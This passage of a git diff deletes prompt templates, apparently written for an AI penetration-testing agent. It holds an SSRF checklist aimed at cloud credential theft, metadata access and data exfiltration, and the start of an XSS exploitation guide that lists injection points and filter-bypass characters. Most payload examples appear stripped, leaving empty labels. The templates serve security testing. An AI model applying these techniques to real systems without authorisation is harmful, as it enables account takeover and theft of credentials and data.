client-side redirects -- Whitelist properly blocking -- Generic errors for all URLs -- No outbound requests made -- Same-origin policy enforced - - - -- Cloud credential theft (AWS/GCP/Azure) -- Internal admin panel access -- Port scanning results -- SSRF to RCE chain -- Data exfiltration - - - -1. Always check cloud metadata first -2. Chain with other vulns (SSRF + XXE) -3. Use time delays for blind SSRF -4. Try all protocols, not just HTTP -5. Automate internal network scanning -6. Check parser quirks (language-specific) -7. Monitor DNS for blind confirmation -8. Try IPv6 (often forgotten) -9. Abuse redirects for filter bypass -10. SSRF can be in any URL-fetching feature - - -SSRF is often the key to cloud compromise. A single SSRF in cloud = complete account takeover through metadata access. - diff --git a/strix/prompts/vulnerabilities/xss.jinja b/strix/prompts/vulnerabilities/xss.jinja deleted file mode 100644 index 52f40d153..000000000 --- a/strix/prompts/vulnerabilities/xss.jinja +++ /dev/null @@ -1,221 +0,0 @@ - -CROSS-SITE SCRIPTING (XSS) - ADVANCED EXPLOITATION - -XSS leads to account takeover, data theft, and complete client-side compromise. Modern XSS requires sophisticated bypass techniques. - - -- URL parameters: ?search=, ?q=, ?name= -- Form inputs: text, textarea, hidden fields -- Headers: User-Agent, Referer, X-Forwarded-For -- Cookies (if reflected) -- File uploads (filename, metadata) -- JSON endpoints: {"user":""} -- postMessage handlers -- DOM properties: location.hash, document.referrer -- WebSocket messages -- PDF/document generators - - - - -Simple: -HTML:

test

-Script: -Event: -Protocol: javascript:alert(1) -
- - -- HTML: <>&"' -- Attribute: "'<>& -- JavaScript: "'\/\n\r\t -- URL: %3C%3E%22%27 -- CSS: ()'";{} - -
- - - - - - -
-